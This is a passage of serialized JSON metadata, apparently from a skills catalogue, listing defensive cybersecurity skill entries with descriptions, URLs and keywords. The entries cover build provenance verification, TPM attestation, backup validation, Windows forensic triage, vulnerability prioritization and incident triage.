11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":139,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[136],{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[140,141,142,143,43,42,144,145,146,147,148,149,150,151,152,153,154,155,156,157],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":165,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[164],{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},[166,154,167,168,43,169,42,146,170,171,172,173,174,175,176,177,178,179,180,181],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":190,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[188,189],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},[176,191,192,193,36,42,41,194,170,195,196,197,198,199,200,33,201,202,203,204],"backup","recovery","validating backup integrity for recovery","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":206,"name":207,"nameZh":6,"description":208,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":209,"categories":210,"keywords":212,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[211],{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},[213,214,215,42,216,217,218,219,220,221,222,223,224,225,226,227,173,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[237],{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},[239,240,241,42,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":259,"name":260,"nameZh":6,"description":261,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":262,"categories":263,"keywords":265,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[264],{"categoryNo":137,"categoryName":138,"taxonomyType":21,"taxonomyTypeDesc":22},[43,266,42,267,268,269,270,271,272,273,274,33,275,201,276,277,278,279,280,281],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]